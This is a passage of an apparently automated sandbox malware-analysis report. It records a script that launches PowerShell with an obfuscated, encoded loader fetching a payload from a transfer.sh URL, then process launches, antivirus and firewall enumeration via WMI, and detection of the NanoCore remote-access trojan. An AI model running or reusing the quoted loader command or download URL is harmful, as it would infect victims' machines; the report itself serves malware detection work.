!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('Jump to behavior
Source: C:\Windows\System32\wscript.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' $SZXDCFVGBHNJSDFGH = 'https://transferH-Hsh/KgBbue/cxderfH-Htxt'.Replace('H-H','.');$SOS='%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-!5-X-!*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%0-X-%7-X-*e-X-!5-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-!5-X-*%-X-!3-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-5!-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-7!-X-%e-X-57-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%b-X-%7-X-%c-X-%7-X-*c-X-!9-X-!5-X-!e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%0-X-3d-X-%0-X-%7-X-!!-X-!f-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-*1-X-!!-X-53-X-5!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%a-X-%7-X-%c-X-%7-X-57-X-*e-X-!c-X-*f-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-7%-X-!9-X-*e-X-%7-X-%9-X-3b-X-0a-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-3d-X-%7-X-!9-X-*0-X-!5-X-58-X-%8-X-*e-X-*0-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-*0-X-*3-X-*0-X-5!-X-%0-X-%!-X-!5-X-!!-X-5%-X-!*-X-!7-X-!8-X-!e-X-!a-X-!d-X-!b-X-!!-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-!7-X-!%-X-!8-X-!e-X-!a-X-53-X-!!-X-!*-X-!7-X-!8-X-%9-X-%7-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%d-X-%7-X-%c-X-%7-X-*5-X-*0-X-57-X-*0-X-%d-X-!f-X-*%-X-*a-X-*0-X-!5-X-%7-X-%9-X-%e-X-5%-X-*5-X-70-X-*c-X-*1-X-*3-X-*5-X-%8-X-%7-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3c-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-3e-X-%7-X-%c-X-%7-X-!5-X-!*-X-!7-X-!8-X-!a-X-%9-X-%e-X-%!-X-53-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!e-X-!a-X-58-X-!!-X-!3-X-!*-X-5*-X-!7-X-!%-X-!8-X-!a-X-!b-X-%8-X-%!-X-53-X-5a-X-58-X-!!-X-!3-X-!*-X-5*-X-%7-X-%9-X-3b-X-0a-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-%8-X-%!-X-53-X-57-X-58-X-!!-X-!5-X-!3-X-5%-X-!*-X-!7-X-59-X-!8-X-55-X-!a-X-!9-X-53-X-!!-X-!*-X-5*-X-!7-X-!8-X-!a-X-%0-X-%d-X-!a-X-*f-X-*9-X-*e-X-%0-X-%7-X-%7-X-%9-X-7c-X-%*-X-%8-X-%7-X-!9-X-%7-X-%b-X-%7-X-!5-X-58-X-%7-X-%9-X-3b'.Replace('%','2').Replace('!','4').Replace('Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-ds-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-base-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-base-Package~31bf3856ad364e35~amd64~en-US~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0011~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00114~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\Microsoft.PowerShell.LocalAccounts\1.0.0.0\Microsoft.PowerShell.LocalAccounts.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0014~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00112~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0013~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Windows.StartLayout.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.Windows.StartLayout.Commands.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.WindowsAuthenticationProtocols.Commands\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.WindowsAuthenticationProtocols.Commands.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00116~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-UEV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\UEV\Microsoft.Uev.Commands.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\WindowsErrorReporting\Microsoft.WindowsErrorReporting.PowerShell.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeQueries volume information: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exe VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Drawing\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Drawing.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.VisualBasic\v4.0_10.0.0.0__b03f5f7f11d50a3a\Microsoft.VisualBasic.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Accessibility\v4.0_4.0.0.0__b03f5f7f11d50a3a\Accessibility.dll VolumeInformation
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Management.dll VolumeInformation
Source: C:\Windows\System32\wscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuidJump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiVirusProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM AntiSpywareProduct
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\aspnet_compiler.exeWMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT DisplayName FROM FirewallProduct

Stealing of Sensitive Information:

barindex

Remote Access Functionality:

barindex
Detected Nanocore RatShow sources
Source: aspnet_compiler.exe, 00000017.00000003.453757091.0000000006511000.00000004.00000001.sdmpString found in binary or memory: NanoCore.ClientPluginHost
Source: aspnet_compiler.exe, 00000017.00000003.463794396.0000000003EF9000.00000004.00000001.sdmpString found in binary or memory: <Module>mscorlibMicrosoft.VisualBasicMyApplicationNanoCoreBase.MyMyComputerMyProjectMyWebServicesThreadSafeObjectProvider`1ClientMainNanoCoreBaseClientPluginCommandHandlerResourcesNanoCoreBase.My.ResourcesMySettingsMySettingsPropertyCommandsMicrosoft.VisualBasic.ApplicationServicesApplicationBase.ctorMicrosoft.VisualBasic.DevicesComputerSystemObject.cctorget_Computerm_ComputerObjectProviderget_Applicationm_AppObjectProviderUserget_Userm_UserObjectProviderget_WebServicesm_MyWebServicesObjectProviderApplicationWebServicesEqualsoGetHashCodeTypeGetTypeToStringCreate__Instance__TinstanceDispose__Instance__get_GetInstanceMicrosoft.VisualBasic.MyServices.InternalContextValue`1m_ContextGetInstanceNanoCore.ClientPluginHostIClientLoggingHostLoggingHostIClientNetworkHostNetworkHostSendCommandparamsInitializePluginNanoCore.ClientPluginIClientNetwork_networkhost_loggingHostBuildingHostCacheConnectionFailedhostportConnectionStateChangedconnectedPipeClosedpipeNamePipeCreatedReadPacketHandleCommandHandleCommandOpenWebsiteHandleCommandMessageBoxSwapMouseButtonfSwapuser32.dllHandleCommandMouseSwapHandleCommandMouseUnswapmciSendStringlpszCommandlpszReturnStringcchReturnLengthhwndCallbackwinmm.dllmciSendStringAHandleCommandCDTrayHandleCommandCDTrayCloseSystem.ResourcesResourceManagerresourceManSystem.GlobalizationCultureInforesourceCultureget_ResourceManagerget_Cultureset_CultureValueCultureSystem.ConfigurationApplicationSettingsBasedefaultInstanceget_DefaultDefaultget_SettingsSettingsEnumvalue__OpenWebsiteMessageBoxCDTrayCDTrayCloseMouseSwapMouseUnswapSystem.ComponentModelEditorBrowsableAttributeEditorBrowsableStateSystem.CodeDom.CompilerGeneratedCodeAttributeSystem.DiagnosticsDebuggerNonUserCodeAttributeDebuggerHiddenAttributeMicrosoft.VisualBasic.CompilerServicesStandardModuleAttributeHideModuleNameAttributeSystem.ComponentModel.DesignHelpKeywordAttributeSystem.Runtime.CompilerSer